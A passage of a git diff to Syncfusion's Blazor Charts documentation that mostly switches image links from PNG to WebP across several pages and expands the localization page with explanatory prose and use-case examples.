+![Blazor Column Chart Legend with Series Selection](images/legend/blazor-column-chart-legend-series-selection.webp)
 
 ## Hiding legend item
 
@@ -676,7 +676,7 @@ The series [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Hiding Legend Item in Blazor Column Chart](images/legend/blazor-column-chart-hide-legend-item.png)
+![Hiding Legend Item in Blazor Column Chart](images/legend/blazor-column-chart-hide-legend-item.webp)
 
 ## Legend Template
 
@@ -771,7 +771,7 @@ To use, add a `LegendItemTemplate` inside any [ChartSeries](https://help.syncfus
     public int BronzeTotal => (int)MedalDetails.Sum(m => m.Bronze);
 }
 ```
-![Legend Template in Blazor Column Chart](images/legend/blazor-column-chart-legend-template.png)
+![Legend Template in Blazor Column Chart](images/legend/blazor-column-chart-legend-template.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/localization.md b/blazor/chart/localization.md
index 80abee8dda..f199232a12 100644
--- a/blazor/chart/localization.md
+++ b/blazor/chart/localization.md
@@ -9,12 +9,69 @@ documentation: ug
 
 # Localization in Blazor Charts Component
 
-[Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) component can be localized. Refer to [Blazor Localization](https://blazor.syncfusion.com/documentation/common/localization) topic to localize Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components.
+The [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) component supports localization, enabling you to adapt the UI elements such as labels, tooltips, legends, and other text-based content to different languages and cultures. Localization is an essential feature for building globally accessible applications, as it ensures that users can interact with charts in their preferred language and regional settings.
+Localization in Syncfusion Blazor components is handled through the common localization framework provided by Syncfusion. By configuring localization properly, you can display translated text for chart elements and ensure consistent formatting based on cultural preferences such as date formats, number formats, and currency symbols.
+To implement localization in the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) component, refer to the [Blazor Localization](https://blazor.syncfusion.com/documentation/common/localization) topic. This documentation provides detailed steps for configuring localization in your application, including setting up resource files, defining culture settings.
+
+By applying localization, the chart component can automatically adapt to the selected culture. For example, date values displayed on the axis will follow the regional format, and numeric values will be shown with appropriate separators and symbols.
+In addition to text translation, localization also improves the user experience by aligning with regional expectations. For instance, decimal separators may vary between cultures (e.g., . vs ,), and date formats can differ significantly. Proper localization ensures that such variations are handled seamlessly within the chart.
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap4) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
+### Key Benefits of Localization in Charts
+
+- Enhances accessibility for global users
+- Improves readability and clarity of data
+- Supports multiple cultures and languages
+- Enables accurate representation of region-specific formats
+- Provides a consistent user experience across applications
+
+### Localization can be particularly useful in the following scenarios:
+
+
+- Chart-based dashboards for multinational teams
+In applications where charts are used to monitor KPIs across multiple regions, localization ensures that axis labels, legends, and tooltips are displayed in the user's preferred language and cultural format.
+
+
+- Financial and analytical chart reporting
+Charts displaying revenue, profit, or financial trends require proper localization of currency symbols, decimal separators, and number formats to ensure accurate interpretation.
+
+
+- E-commerce analytics charts
+Sales performance, customer trends, and region-based metrics are often visualized using charts. Localization helps present this data in region-specific formats, improving decision-making.
+
+
+- Time-series and date-driven charts
+Charts that display time-dependent data (such as daily, monthly, or yearly trends) benefit from localization by formatting date values according to regional standards (e.g., MM/dd/yyyy vs dd/MM/yyyy).
+
+
+- Scientific and data-intensive visualizations
+Applications that rely on precise chart representations, such as research or engineering tools, require localized number formats and labeling for clarity and accuracy.
+
+
+- Educational and learning dashboards
+Charts representing student progress, performance metrics, or usage statistics can be localized to provide better accessibility for global learners.
+
+
+- Public sector and government data charts
+Charts used in dashboards for public data visualization must support regional languages and formats to ensure accessibility and compliance with localization standards.
+
+
+- Real-time and monitoring charts
+Applications that display live data, such as system monitoring or stock market charts, require localized numeric and textual formats to enhance readability for global audiences.
+
+
+- Cross-platform and global applications
+Charts rendered in web and mobile applications need consistent localization behavior across devices and regions to maintain a unified user experience.
+
+
+- Right-to-Left (RTL) chart rendering scenarios
+Localization also supports RTL languages such as Arabic and Hebrew, ensuring proper alignment, layout, and readability of chart elements.
+
 ## See Also
 
+By following these practices, you can build scalable and user-friendly applications that effectively communicate data across diverse audiences.
+
 * [Data label](./data-labels)
 * [Tooltip](./tool-tip)
 * [Legend](./legend)
diff --git a/blazor/chart/logarithmic-axis.md b/blazor/chart/logarithmic-axis.md
index bb4508bde5..8dc79f25a0 100644
--- a/blazor/chart/logarithmic-axis.md
+++ b/blazor/chart/logarithmic-axis.md
@@ -51,7 +51,7 @@ A detailed walkthrough for customizing the logarithmic axis is provided in the v
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLAMLhHLhczYuye?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Logarithmic Axis](images/logarithmic-axis/blazor-chart-logarithmic-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLAMLhHLhczYuye?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Logarithmic Axis](images/logarithmic-axis/blazor-chart-logarithmic-axis.webp)" %}
 
 ## Range
 
@@ -91,7 +91,7 @@ The axis range will be calculated automatically based on the provided data; howe
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXrqChBHBgilgqlG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart Logarithmic Axis based on Range](images/logarithmic-axis/blazor-line-chart-axis-based-on-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXrqChBHBgilgqlG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart Logarithmic Axis based on Range](images/logarithmic-axis/blazor-line-chart-axis-based-on-range.webp)" %}
 
 ## Logarithmic base
 
@@ -131,7 +131,7 @@ Logarithmic base can be customized using the [LogBase](https://help.syncfusion.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVKWVLHhgBMKubZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart Logarithmic Axis with Base](images/logarithmic-axis/blazor-line-chart-logarithmic-axis-with-base.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVKWVLHhgBMKubZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart Logarithmic Axis with Base](images/logarithmic-axis/blazor-line-chart-logarithmic-axis-with-base.webp)" %}
 
 ## Logarithmic interval
 
@@ -171,7 +171,7 @@ The interval can be customized using the [Interval](https://help.syncfusion.com/
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZhqMhVdrUVPPtnR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart Logarithmic Axis based on Interval](images/logarithmic-axis/blazor-line-chart-axis-based-on-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZhqMhVdrUVPPtnR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart Logarithmic Axis based on Interval](images/logarithmic-axis/blazor-line-chart-axis-based-on-range.webp)" %}
 
 ## Label format
 
@@ -212,7 +212,7 @@ Using the [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBUWrVHBqKsJuuA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart Logarithmic Axis with Label Format](images/logarithmic-axis/blazor-line-chart-axis-with-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBUWrVHBqKsJuuA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart Logarithmic Axis with Label Format](images/logarithmic-axis/blazor-line-chart-axis-with-label-format.webp)" %}
 
 The table below shows the results of applying some commonly used label formats to logarithmic values.
 
@@ -311,7 +311,7 @@ Axis also supports custom label format using placeholders such as {value}K, wher
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrAMhrnBgqGAVip?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart Logarithmic Axis with Custom Label Format](images/logarithmic-axis/blazor-line-chart-axis-custom-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrAMhrnBgqGAVip?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart Logarithmic Axis with Custom Label Format](images/logarithmic-axis/blazor-line-chart-axis-custom-label-format.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/multiple-panes.md b/blazor/chart/multiple-panes.md
index b9c4f65e84..ef3a05c81d 100644
--- a/blazor/chart/multiple-panes.md
+++ b/blazor/chart/multiple-panes.md
@@ -74,7 +74,7 @@ Use the chart's [Rows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.C
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZrKiLhHhSDlvdrE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Rows with Multiple Panes in Blazor Chart](images/multiple-panes/blazor-chart-multiple-panes-with-rows.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZrKiLhHhSDlvdrE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Rows with Multiple Panes in Blazor Chart](images/multiple-panes/blazor-chart-multiple-panes-with-rows.webp)" %}
 
 The [Span](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCommonAxis.html#Syncfusion_Blazor_Charts_StockChartCommonAxis_Span) property of the axis can be used to span the vertical axis across multiple rows.
 
@@ -132,7 +132,7 @@ The [Span](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockC
 
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrAWhLdhICspjQE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Row spanning with Multiple Panes in Blazor Chart](images/multiple-panes/blazor-chart-multiple-span-with-rows-span.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrAWhLdhICspjQE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Row spanning with Multiple Panes in Blazor Chart](images/multiple-panes/blazor-chart-multiple-span-with-rows-span.webp)" %}
 
 ## Columns
 
@@ -196,7 +196,7 @@ Use the chart's [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazo
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBqirLHryWphYTs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Columns with Multiple Panes in Blazor Chart](images/multiple-panes/blazor-chart-multiple-panes-with-column.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBqirLHryWphYTs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Columns with Multiple Panes in Blazor Chart](images/multiple-panes/blazor-chart-multiple-panes-with-column.webp)" %}
 
 The [Span](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCommonAxis.html#Syncfusion_Blazor_Charts_StockChartCommonAxis_Span) property of the axis can be used to span the horizontal axis across multiple column.
 
@@ -252,7 +252,7 @@ The [Span](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockC
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNVAWBLxhoCQMrEz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Column Spanning with Multiple Panes in Blazor Chart](images/multiple-panes/blazor-chart-multiple-panes-with-column-span.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNVAWBLxhoCQMrEz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Column Spanning with Multiple Panes in Blazor Chart](images/multiple-panes/blazor-chart-multiple-panes-with-column-span.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/numeric-axis.md b/blazor/chart/numeric-axis.md
index e71620393c..41b698d8ca 100644
--- a/blazor/chart/numeric-axis.md
+++ b/blazor/chart/numeric-axis.md
@@ -48,7 +48,7 @@ A detailed walkthrough for customizing the numeric axis is provided in the video
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNLgWLhVpXofZgyo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Numeric Axis](images/numeric-axis/blazor-line-chart-numeric-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNLgWLhVpXofZgyo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Numeric Axis](images/numeric-axis/blazor-line-chart-numeric-axis.webp)" %}
 
 ## Range and interval
 
@@ -86,7 +86,7 @@ The axis range will be calculated automatically based on the provided data; howe
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXrgiVrhJjoSuZwi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart Axis based on Range](images/numeric-axis/blazor-line-chart-axis-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXrgiVrhJjoSuZwi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Line Chart Axis based on Range](images/numeric-axis/blazor-line-chart-axis-range.webp)" %}
 
 ## Range padding
 
@@ -134,7 +134,7 @@ When the [RangePadding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhKWVBhTjobfVue?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart without RangePadding](images/numeric-axis/blazor-line-chart-range-without-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhKWVBhTjobfVue?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart without RangePadding](images/numeric-axis/blazor-line-chart-range-without-padding.webp)" %}
 
 **Numeric - Round**
 
@@ -172,7 +172,7 @@ When the [RangePadding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hZrKMLhBztnCBwWc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Round RangePadding](images/numeric-axis/blazor-line-chart-round-range-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hZrKMLhBztnCBwWc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Round RangePadding](images/numeric-axis/blazor-line-chart-round-range-padding.webp)" %}
 
 **Numeric - Additional**
 
@@ -210,7 +210,7 @@ When the [RangePadding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNhgWLrhpZRURFmO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Additional RangePadding](images/numeric-axis/blazor-line-chart-additional-range-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNhgWLrhpZRURFmO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Additional RangePadding](images/numeric-axis/blazor-line-chart-additional-range-padding.webp)" %}
 
 **Numeric - Normal**
 
@@ -248,7 +248,7 @@ When the [RangePadding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtLKsrrrpXdxUwHH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Normal RangePadding](images/numeric-axis/blazor-line-chart-normal-range-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtLKsrrrpXdxUwHH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Normal RangePadding](images/numeric-axis/blazor-line-chart-normal-range-padding.webp)" %}
 
 **Numeric - Auto**
 
@@ -287,7 +287,7 @@ When the [RangePadding](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrUChBVTtmNHCaU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Auto RangePadding](images/numeric-axis/blazor-line-chart-auto-rangepadding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrUChBVTtmNHCaU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Auto RangePadding](images/numeric-axis/blazor-line-chart-auto-rangepadding.webp)" %}
 
 ## Label format
 
@@ -330,7 +330,7 @@ Using the [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjhUChrhpjcKDKLn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Label Formatting in Blazor Line Chart](images/numeric-axis/blazor-line-chart-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjhUChrhpjcKDKLn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Label Formatting in Blazor Line Chart](images/numeric-axis/blazor-line-chart-label-format.webp)" %}
 
 The table below shows the results of applying various commonly used label formats to numeric data.
 
@@ -440,7 +440,7 @@ To separate groups of thousands for numerical values, use the [UseGroupingSepara
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBJZqLnepVFKTog?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping Separator in Blazor Line Chart](images/numeric-axis/blazor-line-chart-grouping-separator.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBJZqLnepVFKTog?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping Separator in Blazor Line Chart](images/numeric-axis/blazor-line-chart-grouping-separator.webp)" %}
 
 ## Custom label format
 
@@ -478,7 +478,7 @@ Axis also supports custom label format using placeholders such as {value}K, wher
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBAiVLrzZGdUeri?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Custom Label Format](images/numeric-axis/blazor-line-chart-custom-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBAiVLrzZGdUeri?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Line Chart with Custom Label Format](images/numeric-axis/blazor-line-chart-custom-label-format.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/selection.md b/blazor/chart/selection.md
index 71995ed04a..659200661e 100644
--- a/blazor/chart/selection.md
+++ b/blazor/chart/selection.md
@@ -71,7 +71,7 @@ When the [SelectionMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 
 ```
 
-![Blazor Column Chart with Point Selection](images/selection/blazor-chart-point-selection.png)
+![Blazor Column Chart with Point Selection](images/selection/blazor-chart-point-selection.webp)
 
 ## Series
 
@@ -119,7 +119,7 @@ When the [SelectionMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 
 ```
 
-![Blazor Column Chart with Series Selection](images/selection/blazor-chart-series-selection.png)
+![Blazor Column Chart with Series Selection](images/selection/blazor-chart-series-selection.webp)
 
 ## Cluster
 
@@ -167,7 +167,7 @@ By setting the [SelectionMode](https://help.syncfusion.com/cr/blazor/Syncfusion.
 
 ```
 
-![Blazor Column Chart with Cluster Selection](images/selection/blazor-chart-cluster-selection.png)
+![Blazor Column Chart with Cluster Selection](images/selection/blazor-chart-cluster-selection.webp)
 
 ## Rectangular selection
 
@@ -256,7 +256,7 @@ N> To select a rectangular area on a chart using a touch device, quickly double-
 
 ```
 
-![Blazor Scatter Chart with Rectangular Selection](images/selection/blazor-scatter-chart-rectangular-selection.png)
+![Blazor Scatter Chart with Rectangular Selection](images/selection/blazor-scatter-chart-rectangular-selection.webp)
 
 ## Multiple selection
 
@@ -304,7 +304,7 @@ Multiple points or series can be selected by setting the [AllowMultiSelection](h
 
 ```
 
-![Blazor Column Chart with Multiple Selection](images/selection/blazor-chart-multiple-selection.png)
+![Blazor Column Chart with Multiple Selection](images/selection/blazor-chart-multiple-selection.webp)
 
 ## Selection via code-behind
 
@@ -372,7 +372,7 @@ A point or series can be selected programmatically on a chart using the [Selecte
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVJtgBxfkYWmfSE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Programmatically Selection in Blazor Column Chart](images/selection/blazor-column-chart-programmatic-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVJtgBxfkYWmfSE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Programmatically Selection in Blazor Column Chart](images/selection/blazor-column-chart-programmatic-selection.webp)" %}
 
 ## Legend Selection
 
@@ -423,7 +423,7 @@ A point or series can be selected through legend by default. This feature can be
 
 ```
 
-![Blazor Column Chart with Legend Selection](images/selection/blazor-chart-legend-selection.png)
+![Blazor Column Chart with Legend Selection](images/selection/blazor-chart-legend-selection.webp)
 
 ## Selection customization 
 
@@ -491,7 +491,7 @@ The custom style can be applied to selected points or series using the [Selectio
 
 ```
 
-![Blazor Column Chart with Custom Style Selection](images/selection/blazor-chart-custom-style-selection.png)
+![Blazor Column Chart with Custom Style Selection](images/selection/blazor-chart-custom-style-selection.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/strip-line.md b/blazor/chart/strip-line.md
index 5f1cfd2c47..67787726b7 100644
--- a/blazor/chart/strip-line.md
+++ b/blazor/chart/strip-line.md
@@ -58,7 +58,7 @@ By adding the [ChartStripline](https://help.syncfusion.com/cr/blazor/Syncfusion.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhKCVVRhJcQliSp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Horizontal Striplines](images/strip-line/blazor-chart-horizontal-strip-line.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhKCVVRhJcQliSp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Horizontal Striplines](images/strip-line/blazor-chart-horizontal-strip-line.webp)" %}
 
 ## Vertical striplines
 
@@ -102,7 +102,7 @@ By adding the [ChartStripline](https://help.syncfusion.com/cr/blazor/Syncfusion.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXLUsBBRLpbtIuIn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Vertical Striplines](images/strip-line/blazor-chart-vertical-stripline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXLUsBBRLpbtIuIn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Vertical Striplines](images/strip-line/blazor-chart-vertical-stripline.webp)" %}
 
 ## Striplines customization
 
@@ -146,7 +146,7 @@ The [Start](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Chart
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVUCVLxVfbqQNji?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Custom Striplines](images/strip-line/blazor-chart-custom-stripline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVUCVLxVfbqQNji?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Custom Striplines](images/strip-line/blazor-chart-custom-stripline.webp)" %}
 
 ## Text customization
 
@@ -193,7 +193,7 @@ The [Start](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Chart
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNVgWVLHBJlQDgKI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Custom Stripline Text](images/strip-line/blazor-chart-custom-strip-text.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNVgWVLHBJlQDgKI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart with Custom Stripline Text](images/strip-line/blazor-chart-custom-strip-text.webp)" %}
 
 ## Segmented stripline
 
@@ -245,7 +245,7 @@ To create a stripline in a specific region with respect to a segment (segmented
     };
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLqMVhHrJGZtGLh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart With Segmented Stripline](../chart/images/strip-line/blazor-chart-segmented-stripline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLqMVhHrJGZtGLh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart With Segmented Stripline](../chart/images/strip-line/blazor-chart-segmented-stripline.webp)" %}
 
 ## Stripline tooltip
 
@@ -313,7 +313,7 @@ Below is the simplest way to enable a stripline tooltip using default settings.
 
 ```
 
-![Blazor Chart with Default Stripline Tooltip](images/strip-line/blazor-chart-stripline-tooltip-default.png)
+![Blazor Chart with Default Stripline Tooltip](images/strip-line/blazor-chart-stripline-tooltip-default.webp)
 
 ### Tooltip customization properties
 
@@ -431,7 +431,7 @@ The [ChartStriplineTooltipBorder](https://help.syncfusion.com/cr/blazor/Syncfusi
 
 ```
 
-![Blazor Chart with Customized Stripline Tooltip](images/strip-line/blazor-chart-stripline-tooltip-customized.png)
+![Blazor Chart with Customized Stripline Tooltip](images/strip-line/blazor-chart-stripline-tooltip-customized.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/line?theme=bootstrap5) to know various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/chart/technical-indicators.md b/blazor/chart/technical-indicators.md
index 412bda10d0..10a7d5e1a7 100644
--- a/blazor/chart/technical-indicators.md
+++ b/blazor/chart/technical-indicators.md
@@ -119,7 +119,7 @@ Accumulation Distribution combines price and volume to show how money may be flo
 
 ```
 
-![Accumulation Distribution in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-accumulation-distribution.png)
+![Accumulation Distribution in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-accumulation-distribution.webp)
 
 ## Average True Range (ATR)
 
@@ -329,7 +329,7 @@ A chart overlay that shows the upper and lower limits of normal price movements
 
 ```
 
-![Bollinger Bands in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-bollinger-bands.png)
+![Bollinger Bands in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-bollinger-bands.webp)
 
 **Customization of Bollinger Bands**
 
@@ -434,7 +434,7 @@ The upper line's [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 
 ```
 
-![Blazor Candle Chart with Custom Bollinger Bands](images/technical-indicator/blazor-candle-chart-custom-bollinger-bands.png)
+![Blazor Candle Chart with Custom Bollinger Bands](images/technical-indicator/blazor-candle-chart-custom-bollinger-bands.webp)
 
 ## Exponential Moving Average (EMA)
 
@@ -547,7 +547,7 @@ Moving Average Indicators are used to define the direction of the trend. To rend
 
 ```
 
-![Exponential Moving Average in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-exponential-moving-average.png)
+![Exponential Moving Average in Blazor Candle Chart](images/technical-indicator/blazor-candle-chart-exponential-moving-average.webp)
 
 ## Momentum
 
@@ -673,7 +673,7 @@ Momentum shows the speed at which the price of the stock is changing. To render
